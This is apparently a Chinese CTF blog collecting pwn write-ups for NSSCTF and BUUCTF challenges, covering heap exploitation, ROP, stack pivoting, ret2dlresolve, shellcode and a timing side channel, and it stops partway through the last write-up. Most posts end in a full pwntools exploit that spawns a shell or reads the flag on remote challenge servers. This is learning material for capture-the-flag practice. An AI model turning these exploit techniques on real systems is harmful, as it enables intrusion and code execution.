我们将栈迁移的目标设置在堆上，而要实现栈迁移，我们可以将 free_hook 劫持为 setcontext + 0x35 ，传入的 rdi 为寄存器布局的地址，即可实现类似 srop 的效果

setcontext

这里第一个 rcx 即 rip

接下来我使用了一点小巧思：我们不直接写入 orw 的 rop 链，因为这样太长，需要分段写入，所以我们可以先调用 read syscall 在 rsp 的目标地址一次性写入 rop 链

因此我们需要操纵的寄存器有

1
2
3
4
5
6


rax = 0
rdi = 0
rsi = heap_addr + rop_offset
rdx = 0x400
rsp = heap_addr + rop_offset
rip = syscall_ret_addr

然后在新获得的写入机会中写入完整的 orw 攻击链即可拿到 flag

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

if debug:
	io = process('./silverwolf_patched')
else:
	io = remote('node4.anna.nssctf.cn', 22853)

def allocate(size):
	io.sendlineafter(b'Your choice: ', b'1')
	io.sendlineafter(b'Index: ', b'0')
	io.sendlineafter(b'Size: ', str(size).encode())

def edit(content):
	io.sendlineafter(b'Your choice: ', b'2')
	io.sendlineafter(b'Index: ', b'0')
	io.sendlineafter(b'Content: ', content)

def show():
	io.sendlineafter(b'Your choice: ', b'3')
	io.sendlineafter(b'Index: ', b'0')

def delete():
	io.sendlineafter(b'Your choice: ', b'4')
	io.sendlineafter(b'Index: ', b'0')

def exit():
	io.sendlineafter(b'Your choice: ', b'5')

def attack():
	allocate(0x78)
	delete()
	show()
	io.recvuntil(b'Content: ')
	heap_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x11b0
	log.info(f'heap_base = {hex(heap_base)}')

	edit(p64(heap_base + 0x10) + p64(0))
	allocate(0x78)
	allocate(0x78)
	edit((p8(0) * 35 + p8(7)).ljust(0x40 - 1, p8(0)))
	delete()
	show()
	io.recvuntil(b'Content: ')
	libc_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x3ebca0
	log.info(f'libc_base = {hex(libc_base)}')
	
	free_hook = 0x3ed8e8 + libc_base
	setcontext = 0x521b5 + libc_base
	xor_rax_ret = 0xb15a5 + libc_base
	pop_rdx_pop_rsi_ret = 0x130569 + libc_base
	syscall_ret = 0xd2745 + libc_base
	pop_rax_ret = 0x43ae8 + libc_base
	pop_rdi_ret = 0x215bf + libc_base
	stack_pivoting0 = 0x10000 + heap_base
	stack_pivoting1 = 0x10000 + heap_base + 0x70
	stack_pivoting2 = 0x10000 + heap_base + 0xa0
	edit(p8(0) * 0x40 + p64(free_hook - 0x8) + p64(stack_pivoting2) + p64(stack_pivoting1) + p64(stack_pivoting0))
	allocate(0x18)
	edit(b'/flag\x00\x00\x00' + p64(setcontext))
	log.info(f'free_hook_addr = {hex(free_hook)}')
	log.info(f'set_context_addr = {hex(setcontext)}')
	
	allocate(0x28)
	srop2 = flat([
		p64(heap_base + 0x58), 
		p64(syscall_ret)])
	edit(srop2)

	allocate(0x38)
	srop1 = flat([
		p64(heap_base + 0x58), 
		p64(0) * 2, 
		p64(0x400)])
	edit(srop1)

	allocate(0x48)
	delete()

	orw = flat([
		p64(pop_rdi_ret), 
		p64(free_hook - 0x08), 
		p64(pop_rdx_pop_rsi_ret), 
		p64(0), 
		p64(0), 
		p64(pop_rax_ret), 
		p64(2), 
		p64(syscall_ret), 
		p64(pop_rdi_ret), 
		p64(3), 
		p64(pop_rdx_pop_rsi_ret), 
		p64(0x100), 
		p64(heap_base + 0x300), 
		p64(xor_rax_ret), 
		p64(syscall_ret), 
		p64(pop_rdi_ret), 
		p64(1), 
		p64(pop_rdx_pop_rsi_ret), 
		p64(0x100), 
		p64(heap_base + 0x300), 
		p64(pop_rax_ret), 
		p64(1), 
		p64(syscall_ret)])
	io.send(orw)

	io.interactive()

attack()

NSSCTF-西湖论剑-2022-babycalc 题解

Wed, 25 Feb 2026 03:26:00 +0000

题目

题目链接

IDA

main

calc

有一个 buf 相关的 off_by_null 以及由 i 操纵的 off_by_one ，无其余栈溢出漏洞

因此考虑在原栈上做短程迁移以执行 rop 链

要解一个 16 元方程组，图中有解出结果

got

用于泄露 libc 版本

stack

攻击思路

在原栈上做短程迁移以执行 rop 链，注意要在 rop 链前面布置足够长的 ret sled 以提高命中率

在正式攻击前先利用 got 表中信息泄露 libc 版本并获取 libc

正式攻击在两次读入内解决，两次均使用短程迁移

第一次读入泄露 libc 基址，并返回到 main 的开始，这是因为我们需要连续两次 push rbp 支撑后面的连续两次 leave ret 使得栈迁移不会崩溃

第二次 ret2libc 执行 system("/bin/sh") 即可

运行时要多尝试几次

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

libcoffsetdict = dict()
libcrealdict = dict()

def libcdict_add(name, addr):
	if addr > 0x1000000:
		libcrealdict[name] = addr
		addr %= 0x1000
	libcoffsetdict[name] = addr

def getlibc(path):
	if not debug:
		return ELF(libcdb.search_by_symbol_offsets(libcoffsetdict))
	else:
		return ELF(path)

def initlibc(libc):
	if not debug:
		subprocess.run(['cp', libc.path, './libc.so.6'])
		subprocess.run(['pwninit', '--no-template'])

debug = 0

if debug:
	io = process('./pwn_patched')
else:
	io = remote('node4.anna.nssctf.cn', 23858)

ret = 0x400CA4
pop_rdi_ret = 0x400CA3
puts_plt = 0x4005D0
puts_got = 0x602018
# printf_got = 0x602020
# read_got = 0x602028
# __libc_start_main_got = 0x602030
pop_rbp_ret = 0x400C3D
again_addr = 0x400C1A

def attack():
	calc = p8(19) + p8(36) + p8(53) + p8(70) + p8(55) + p8(66) + p8(17) + p8(161) + p8(50) + p8(131) + p8(212) + p8(101) + p8(118) + p8(199) + p8(24) + p8(3)
	rop = p64(ret) * 21
	rop += p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(again_addr)
	# rop += p64(pop_rdi_ret) + p64(printf_got) + p64(puts_plt)
	# rop += p64(pop_rdi_ret) + p64(read_got) + p64(puts_plt)
	# rop += p64(pop_rdi_ret) + p64(__libc_start_main_got) + p64(puts_plt)
	payload = (((bytes(f'{0x18}\x00', 'utf-8').ljust(0x8, b'A') + rop).ljust(0xd0, b'A') + calc).ljust(0xfc, b'A') + p16(0x38)).ljust(0x100, b'\x00')
	io.sendafter(b'number-1:', payload)
	io.recvuntil(b'good done\n')
	puts = u64(io.recv(6).ljust(8, b'\x00'))
	# io.recvuntil(b'\n')
	# printf = u64(io.recv(6).ljust(8, b'\x00'))
	# io.recvuntil(b'\n')
	# read = u64(io.recv(6).ljust(8, b'\x00'))
	# io.recvuntil(b'\n')
	# __libc_start_main = u64(io.recv(6).ljust(8, b'\x00'))
	# libcdict_add('puts', puts)
	# libcdict_add('printf', printf)
	# libcdict_add('read', read)
	# libcdict_add('__libc_start_main', __libc_start_main)
	# libc = getlibc('./libc.so.6')
	# initlibc(libc)
	libc = ELF('./libc.so.6')
	libc_base = puts - libc.symbols['puts']
	log.info(f'libc_base = {hex(libc_base)}')
	system_addr = libc_base + libc.symbols['system']
	bin_sh = libc_base + next(libc.search('/bin/sh'))
	rop = p64(ret) * 22
	rop += p64(pop_rdi_ret) + p64(bin_sh) + p64(system_addr)
	payload = (((bytes(f'{0x18}\x00', 'utf-8').ljust(0x8, b'A') + rop).ljust(0xd0, b'A') + calc).ljust(0xfc, b'A') + p16(0x38)).ljust(0x100, b'\x00')
	io.sendafter(b'number-1:', payload)
	io.interactive()

attack()

NSSCTF-GHCTF-2025-ret2libc2 题解

Wed, 25 Feb 2026 00:21:00 +0000

题目

题目链接

checksec

vmmap

这里的 0x3fe000 在远端貌似不存在，被坑了，，，

IDA

main

func

栈溢出漏洞

got

onegadget

需要用 gadget 操纵寄存器

攻击思路

第一次栈迁移到 got 上 leak 出 printf 的地址以获取 libc 基址

第二次栈迁移为 onegadget 执行提供栈空间

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36


from pwn import *
from onegadget_selector import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

if debug:
	io = process('./pwn_patched')
else:
	io = remote('node1.anna.nssctf.cn', 29246)

again_addr = 0x401223
got_hijack = 0x404030
rw_addr = 0x404300
pop_rsi_ret = 0x2be51
pop_rdx_ret = 0x170337

def attack():
	payload = b'A' * 0x30 + p64(got_hijack) + p64(again_addr)
	io.sendafter(b'magic\n', payload)
	printf = u64(io.recv(6).ljust(8, b'\x00'))
	log.info(f'printf = {hex(printf)}')
	libc = ELF('./libc.so.6')
	libc_base = printf - libc.symbols['printf']
	log.info(f'libc_base = {hex(libc_base)}')
	onegadget = select_onegadgets(libc.path) + libc_base
	pop_rsi_ret_addr = pop_rsi_ret + libc_base
	pop_rdx_ret_addr = pop_rdx_ret + libc_base
	payload = b'A' * 0x30 + p64(rw_addr) + p64(pop_rsi_ret_addr) + p64(0) + p64(pop_rdx_ret_addr) + p64(0) + p64(onegadget)
	io.sendafter(b'magic\n', payload)
	io.interactive()

attack()

NSSCTF-强网杯-2022-devnull 题解

Tue, 24 Feb 2026 03:21:00 +0000

题目

题目链接

vmmap

0x3fe000 处为 rw

之后 0x404000 会变成只读

IDA

main

vuln

fgets 最多读取 n-1 个字节，最后一个字节会被设置为 \x00

有关于 fgets 的 off_by_null ，可将 fd 设置为 0 ，为标准输入流的文件描述符，从而启用下方的 read

close(1) 会关闭标准输出流，之后不会有回显，但标准错误流还在

mywrite

mprotect

设置 0x404000 为只读

关于 mprotect 有一个坑：其地址必须对齐 0x1000

gadget

用于操纵 rax

攻击思路

栈迁移难度不高

考虑用 mprotect 开 rwx 区域用于写入 shellcode ，但这需要将 rdx 设置为 7 ，这一点利用 mywrite("Thanks\n"); 刚好可以实现

然后利用 gadget 操纵 rax 以间接操纵 rdi 即可完成 mprotect 的调用（注意对齐 0x1000），然后写入 shellcode 即可

吐槽

tnnd 为什么不给 libc 版本，，，本地调试的时候 close 把我的 rdx 吃掉了，没办法在设置为 7 的情形下进入 mprotect ，所以这题我本地过不了

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 1

if debug:
	io = process('./devnull')
else:
	io = remote('node4.anna.nssctf.cn', 26863)

mprotect_addr = 0x4012D0
rw_addr = 0x3ff000 - 0x18
leave_ret = 0x401511
mov_rax_rbp__0x18 = 0x401350

def attack():
	payload = b'A' * 0x20
	gdb.attach(io)
	io.sendafter(b'filename\n', payload)
	payload = b'A' * 0x14 + p64(rw_addr) + p64(rw_addr) + p64(leave_ret)
	io.sendafter(b'discard\n', payload)
	shellcode = f'push 59; pop rax; push {hex(rw_addr + 0x10)}; pop rdi; push 0; pop rsi; push 0; pop rdx; syscall;'
	payload = p64(rw_addr + 0x18) + p64(mov_rax_rbp__0x18) + b'/bin/sh\x00' + p64(rw_addr) + p64(mprotect_addr) + p64(rw_addr) + p64(rw_addr + 0x38) + asm(shellcode)
	io.sendafter(b'data\n', payload.ljust(0x60, b'\x00'))
	io.interactive()

attack()

最后记得用 cat flag >&2 读取 flag ，因为标准输出流被关了，我们需要用管道将输出发送到标准错误流

NSSCTF-GHCTF-2025-真会布置栈吗？题解

Mon, 23 Feb 2026 22:50:00 +0000

题目

题目链接

checksec

vmmap

没有 rwx 段， ret2shellcode 比较困难

IDA

start

泄露了栈地址，有栈溢出

gadget

xchg 是交换指令

攻击思路

其实就是 ret2syscall ，但是在栈的布局上要下点功夫，可以在一次输入内就完成攻击

布局思路：（其实就是利用 dispatcher 的特性让 rbx 拥有类似 rip 和 rsp 结合体的功能）

1
2
3
4
5
6
7


 syscall_addr
 dispatcher xchg_addr
r15 dispatcher xor_rsi_addr
r13 print1 59 xor_rdx_addr
rbx rsp↑ [stack]---->[ ]
rdi print2 [stack]---->"/bin/sh\x00"
rsi print3 gadget

整合一下：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


 syscall_addr rsp+0x38
 xchg_addr rsp+0x30
 xor_rsi_addr rsp+0x28
 xor_rdx_addr rsp+0x20
 "/bin/sh\x00" rsp+0x18
 dispatcher rsp+0x10
r15 dispatcher rsp+0x8
r13 print1 59 rsp+0x0
rbx rsp↑ rsp+0x18
rdi print2 rsp+0x18
rsi print3 gadget

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

if debug:
	io = process('./attachment')
else:
	io = remote('node6.anna.nssctf.cn', 28007)

gadget = 0x401017
dispatcher = 0x401011
exchange = 0x40100C
xor_rdx = 0x401021
xor_rsi = 0x401027
syscall = 0x401077

def attack():
	io.recvuntil(b'Y. )\n')
	stack = u64(io.recv(8))
	log.info(f'stack = {hex(stack)}')
	payload = flat(p64(gadget), 
			p64(stack + 0x18), 
			p64(stack + 0x18), 
			p64(59),
			p64(dispatcher), 
			p64(dispatcher), 
			b'/bin/sh\x00', 
			p64(xor_rdx), 
			p64(xor_rsi), 
			p64(exchange), 
			p64(syscall))
	io.sendafter(b'>> ', payload)
	io.interactive()

attack()

NSSCTF-CISCN-2022-login_normal 题解

Wed, 11 Feb 2026 21:12:00 +0000

题目

题目链接

checksec

IDA

main

vuln

root

shellcode

有 shellcode 执行

攻击思路

读懂代码后发现难点主要在构造 printable shellcode 上

今天状态不好，没有深入研究，用的 ae64 ，之后会自己试着搓一个看看

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23


from pwn import *
from ae64 import AE64

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 1

if debug:
	io = process('./service')
else:
	io = remote('node5.buuoj.cn', 26980)

def attack():
	payload = b'opt:1\nmsg:ro0t \n\n'
	io.sendafter(b'>>> ', payload)
	sc = AE64().encode(asm(shellcraft.sh()), 'rdx')
	payload = b'opt:2\nmsg:' + sc + b' \n\n'
	io.sendafter(b'>>> ', payload)
	io.interactive()

attack()

BUUCTF-NewStarCTF-2023-dlresolve 题解

Mon, 09 Feb 2026 16:54:00 +0000

题目

题目链接

攻击思路

64 位下 ret2dlresolve 模板题

注意将返回地址覆盖为 plt 内容后可再接返回地址控制程序流程

注意 _dl_runtime_resolve 有点像 srop 会还原寄存器

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

if debug:
	io = process('./pwn_patched')
else:
	io = remote('node5.buuoj.cn', 28062)

link_map_base = 0x404800
binsh_addr = link_map_base + 0x28

read_plt = 0x401060
again_addr = 0x401192
plt0_addr = 0x401026
read_got = 0x404020
pop_rdi_ret = 0x40115E
pop_rsi_ret = 0x40116B

def fake_link_map_gen(fake_link_map_base, delta, func_got_addr, mstr):
	fake_link_map = b''
	fake_link_map += p64(delta, sign = 'signed')
	fake_link_map += p64(func_got_addr - 8)
	fake_link_map += p64(fake_link_map_base + 24)
	fake_link_map += p64(fake_link_map_base - delta)
	fake_link_map += p64(7)
	fake_link_map += mstr.encode()
	fake_link_map = fake_link_map.ljust(0x68, b'\x00')
	fake_link_map += p64(fake_link_map_base)
	fake_link_map += p64(fake_link_map_base)
	fake_link_map = fake_link_map.ljust(0xF8, b'\x00')
	fake_link_map += p64(fake_link_map_base + 8)
	return fake_link_map

def attack():
	payload = b'A' * (0x70 + 8) + p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_ret) + p64(link_map_base) + p64(read_plt) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(plt0_addr) + p64(link_map_base) + p64(0)
	io.send(payload.ljust(0x100, b'\x00'))
	payload = fake_link_map_gen(link_map_base, 0x52290 - 0x10dfc0, read_got, '/bin/sh\x00')
	io.send(payload.ljust(0x100, b'\x00'))
	io.interactive()

attack()

NSSCTF-HNCTF-2022-ret2shellcode_level2 题解

Fri, 06 Feb 2026 20:18:00 +0000

题目

题目链接

checksec

IDA

bss 段为 rwx ， buff 在 bss 段上，但是注意 strcpy 会被 \x00 截断，因此写入的 shellcode 不能有 \x00

白名单沙箱：仅允许 open 、 read 、 mmap 系统调用

没有 write ，因此考虑侧信道爆破，再加一点小巧思避免 \x00 出现即可

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92


from pwn import *

context.log_level = 'info'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

def conn():
	if debug:
		return process('./ret2shellcode_level2')
	else:
		return remote('node5.anna.nssctf.cn', 28199)

rwx_base = 0x404060
again_addr = 0x40132B

def scgen(idx, char):
	sth = f'mov cl, 0x{idx:x}'
	sc = asm(f'''
		xor rdi, rdi
		xor rsi, rsi
		xor rdx, rdx
		 
		xor rax, rax
		add al, 0x67
		shl rax, 8
		add al, 0x61
		shl rax, 8
		add al, 0x6c
		shl rax, 8
		add al, 0x66
		shl rax, 8
		add al, 0x2f
		push rax
		push rsp
		pop rdi
		xor rax, rax
		add al, 2
		syscall

		xor rdi, rdi
		add dil, 3
		push rsp
		pop rsi
		xor rdx, rdx
		add dl, 0x7f
		xor rax, rax
		syscall

		xor rcx, rcx
		{'' if idx == 0 else sth}
		mov al, [rsp + rcx]
		cmp al, 0x{char:x}
		LOOP:
		je LOOP
	''')
	return sc

def test(idx, char):
	io = conn()
	sc = scgen(idx, char).ljust(0x100, b'\x00')
	payload = sc + p64(rwx_base + 0x400) + p64(rwx_base)
	io.sendline(payload)
	start_time = time.time()
	io.recvall(timeout = 2)
	end_time = time.time()
	io.close()
	return end_time - start_time

def attack():
	flag = ''
	idx = len(flag)
	while True:
		for char in range(32, 127):
			try:
				if test(idx, char) > 1.7:
					print(f'Found char at {idx}: {chr(char)} | Current Flag: {flag}')
					flag += chr(char)
					if chr(char) == '}':
						return flag
					break
				else:
					print(f'Test char failed at {idx}: {chr(char)} | Current Flag: {flag}')
			except Exception as e:
				char -= 1
				print(f'Error:{e}')
				continue
		idx += 1
	return flag

print(f"Flag: {attack()}")

BUUCTF-NewStarCTF-ret2csu2 题解

Fri, 06 Feb 2026 12:22:00 +0000

题目

题目链接

checksec

没有 canary 和 pie 但开了 Full RELRO ，要注意 .got 的只读属性

IDA

存在栈溢出，溢出长度较小，考虑栈迁移

攻击思路

栈迁移即可， leak 出 libc 基址后，利用 csu 构造 rop 链时考虑使用栈拼接的技巧

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71


from pwn import *
from onegadget_selector import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

libcoffsetdict = {}
libcrealdict = {}

def libcdict_add(name, addr):
	if addr > 0x1000000:
		libcrealdict[name] = addr
		addr %= 0x1000
	libcoffsetdict[name] = addr

def getlibc(path):
	if not debug:
		return ELF(libcdb.search_by_symbol_offsets(libcoffsetdict))
	else:
		return ELF(path)

def initlibc(libc):
	if not debug:
		subprocess.run(['cp', libc.path, './libc.so.6'])
		subprocess.run(['pwninit', '--no-template'])

debug = 1

if debug:
	p = process('./pwn_patched')
else:
	p = remote('node5.buuoj.cn', 27493)

csuaddr = 0x40075C
itaddr = 0x4007A8
hellorbp = 0x601108
ret2read = 0x4006D6
ret2write = 0x4006B7
fakerbp = 0x601208

def pleaker(addr):
	sleep(0.1)
	payload = (p64(addr)).ljust(240, b'A') + p64(hellorbp) + p64(ret2write)
	p.send(payload)
	retaddr = u64(p.recv(8))
	p.recvn(0x36 - 0x8, 1)
	return retaddr
	
def attack():
	payload = b'A' * 240 + p64(hellorbp) + p64(ret2read)
	p.sendafter(b'it!\n', payload)
	libcdict_add('__libc_start_main', pleaker(0x600FF0))
	libcdict_add('mprotect', pleaker(0x600FE8))
	libcdict_add('setvbuf', pleaker(0x600FE0))
	libc = getlibc('./libc.so.6')
	base_addr = libcrealdict['__libc_start_main'] - libc.symbols['__libc_start_main']
	log.info(f'base_addr = {hex(base_addr)}')
	initlibc(libc)
	one_gadget_offset = select_onegadgets(libc.path)
	one_gadget_addr = base_addr + one_gadget_offset
	sleep(0.1)
	payload = (p64(itaddr)).ljust(240, b'A') + p64(fakerbp) + p64(ret2write)
	p.send(payload)
	payload = (p64(0) + p64(0) + p64(0) + p64(0) + p64(one_gadget_addr)).ljust(240, b'A') + p64(hellorbp) + p64(ret2write)
	p.sendafter(b'it!\n', payload)
	payload = (p64(itaddr)).ljust(240, b'A') + p64(hellorbp) + p64(csuaddr)
	p.sendafter(b'it!\n', payload)
	p.interactive()

attack()

BUUCTF-ZJCTF-2019-Login 题解

Sun, 01 Feb 2026 14:22:00 +0000

题目

题目链接

checksec

存在 canary 保护

IDA

main

一个简单的登录系统

观察到 [rbp-0x130] ，它来自于 password_checker 的 rax

Admin_password_checker

snprintf 这里有一个坑， src 和 dest 相同会产生 buffer overlap 的问题，产生非预期结果，而使用 ‘\x00’ 可以截断这种行为

其实经过动调可知，我们应该劫持 a1 为后门函数地址

Admin_password_checker_asm

上面的 a1 即此处的 rax ，为 rdi 解两层引用，接下来回到 main 去溯源 rdi

main_asm

rdi 溯源至 rbp - 0x130 ，注意并不是 [rbp - 0x130] ， [rbp - 0x130] 溯源至 password_checker 后的 rax

password_checker_asm

rax 溯源至 rbp - 0x18 ，注意并不是 [rbp - 0x18] ，由此 call rax 中的 rax 最终溯源 [rbp - 0x18] ，注意此处的 rbp 为 password_checker 的 rbp

read_password

backdoor

攻击思路

接下来可以直接动调，获取以下信息：

call rax 中 rax 的最初来源
read_password 中覆盖到 rax 最初来源所需的溢出长度

然后就可以直接 get shell 啦

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

if debug:
	p = process('./login')
else:
	p = remote('node5.buuoj.cn', 27735)
	
def attack():
	p.sendlineafter(b'username: ', b'admin')
	pwd = b'2jctf_pa5sw0rd\x00'
	payload = pwd.ljust(72, b'\x00') + p64(0x400e88)
	p.sendafter(b'password: ', payload)
	p.interactive()

attack()

BUUCTF-NewStarCTF-2023-ezheap 题解

Fri, 16 Jan 2026 21:49:00 +0000

题目

题目链接

checksec

全开

IDA

main

菜单题

add

一次 add 申请两个 chunk ，记为 head_chunk 和 content_chunk

delete

有明显的 UAF 漏洞

show

delete 后仍可以 show

edit

delete 后仍可以 edit

read_idx

read_size

攻击思路

由于一次 add 申请两个 chunk ，而一次 delete 只 free 掉 head_chunk 且不清空数据，而 delete 后仍可以 edit，所以我们可以通过两次 delete 和一次 add 获得一个 head_chunk 的控制权，进而利用 edit/show 实现 AAW/AAR

同时，在上面的操作之前 delete 掉一个 head_chunk 使之进入 tcache ，我们可以利用 chunk 的残留值泄露堆地址，实现对堆的完全控制

然而由于我们并没有操作栈的机会，也没有办法劫持 got 表，因此我们考虑去劫持 __free_hook 函数，这需要泄露 libc 基址

由于 tcache 的结构存在于堆上，而 fastbin 为单向链表，我们没有办法通过它们去泄露 libc 基址，因此考虑 unsorted_bin ，因为进入 unsorted_bin 的 chunk 的 fd/bk 指向 arena ，而 arena 与 libc 基址的相对偏移固定

由于强行塞满 tcache 所需的 chunk 数量过多，不方便操作，因此我们考虑直接修改位于堆上的 counts 数组，使 tcache 看起来是满的

为了绕开 fastbin ，我们考虑使用 size 为 0x90 的 chunk ，同时把对应 tcache 的 counts 设为 7

但是程序只允许 free 掉 0x30 的 chunk ，所以我们需要伪造一个 fake chunk 去绕过安全检测

我们需要伪造的有：

chunk_size = 0x91
chunk_prev_size = 0x30
next_chunk_prev_size = 0x90
next_chunk_prev_inuse_bit = 1
next_chunk_size 合法，且保险起见，不要让它与 top_chunk 重叠

利用 AAW 伪造完成后， delete 掉 fake_chunk 即可使之进入 unsorted_bin ，再利用 AAR 即可泄露 libc 基址

最后利用 AAW 劫持 __free_hook 为 system 并往一个 head_chunk 中写入 /bin/sh\x00 ，再 delete 掉这个 head_chunk 即可提权

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

if debug:
	p = process('./pwn')
else:
	p = remote('node5.buuoj.cn', 28814)

def padd(idx, size, content):
	p.recvuntil(b'>>\n')
	p.sendline(b'1')
	p.recvuntil(b'idx(0~15): ')
	p.sendline(str(idx).encode())
	p.recvuntil(b'size: ')
	p.sendline(str(size).encode())
	p.recvuntil(b'note: ')
	p.sendline(content)

def pdelete(idx):
	p.recvuntil(b'>>\n')
	p.sendline(b'2')
	p.recvuntil(b'idx(0~15): ')
	p.sendline(str(idx).encode())

def pshow(idx):
	p.recvuntil(b'>>\n')
	p.sendline(b'3')
	p.recvuntil(b'idx(0~15): ')
	p.sendline(str(idx).encode())

def pedit(idx, content):
	p.recvuntil(b'>>\n')
	p.sendline(b'4')
	p.recvuntil(b'idx(0~15): ')
	p.sendline(str(idx).encode())
	p.recvuntil(b'content: ')
	p.send(content)
	
def pwrite(addr, val):
	payload = p64(0x20) + b'\x00' * 0x10 + p64(addr)
	pedit(2, payload)
	pedit(0, val)
	
def pread(addr):
	payload = p64(0x20) + b'\x00' * 0x10 + p64(addr)
	pedit(2, payload)
	pshow(0)
	
def attack():
	padd(3, 0x20, b'')
	padd(0, 0x20, b'')
	padd(1, 0x20, b'')
	pdelete(3)
	pdelete(0)
	pdelete(1)
	padd(2, 0x20, b'') 
	pshow(2)
	p.recvuntil(b'\n')
	heap3_addr = u64(p.recv(6).ljust(8, b'\x00'))
	log.info(f'heap3_addr = {hex(heap3_addr)}')
	pwrite(heap3_addr // 0x1000 * 0x1000 + 0x10 + 0x2 * 7, p64(7))
	padd(4, 0x28, b'A' * 0x20 + p64(0x30))
	padd(5, 0x70, b'')
	pwrite(heap3_addr + 0x28 + 6 * 0x30, p64(0x91))
	pwrite(heap3_addr + 0x28 + 6 * 0x30 + 0x90, p64(0x21))
	pwrite(heap3_addr + 0x28 + 6 * 0x30 + 0x90 - 8, p64(0x90))
	pdelete(5)
	pread(heap3_addr + 0x28 + 6 * 0x30 + 0x8)
	p.recvuntil(b'\n')
	bins0_addr = u64(p.recv(6).ljust(8, b'\x00'))
	log.info(f'bins0_addr = {hex(bins0_addr)}')
	libc_addr = bins0_addr - 0x1cabe0
	log.info(f'libc_addr = {hex(libc_addr)}')
	__free_hook_addr = libc_addr + 0x1cce48
	log.info(f'__free_hook_addr = {hex(__free_hook_addr)}')
	system_addr = libc_addr + 0x30290
	log.info(f'system_addr = {hex(system_addr)}')
	pwrite(heap3_addr, b'/bin/sh\x00')
	pwrite(__free_hook_addr, p64(system_addr))
	pdelete(4)
	p.interactive()

attack()

BUUCTF-ZJCTF-2019-EasyHeap 题解

Tue, 13 Jan 2026 23:47:00 +0000

题目

题目链接

checksec

IDA

main

菜单题

create

delete

edit

有明显的堆溢出，考虑通过 fastbin 获取在 heaparray 附近的 fake chunk ，再劫持 heaparray 以实现任意地址写

got

systemplt

构造合适位置的 fake chunk

0x6020ad 处有满足 size = 0x7f 的 fake chunk ，故申请 0x68 字节，使用 0x70 的 fastbin 链表

攻击思路

先利用堆溢出漏洞劫持已进入 fastbin 的 chunk 的 fd 指针为 fake chunk 地址 0x6020ad

再通过 malloc 申请这块 fake chunk ，同时在 fake chunk 写入 payload 劫持 heaparray[0]

由于我们希望通过 system("/bin/sh") 提权，然而 elf 中并没有 “/bin/sh” 字符串，这需要我们手动写入

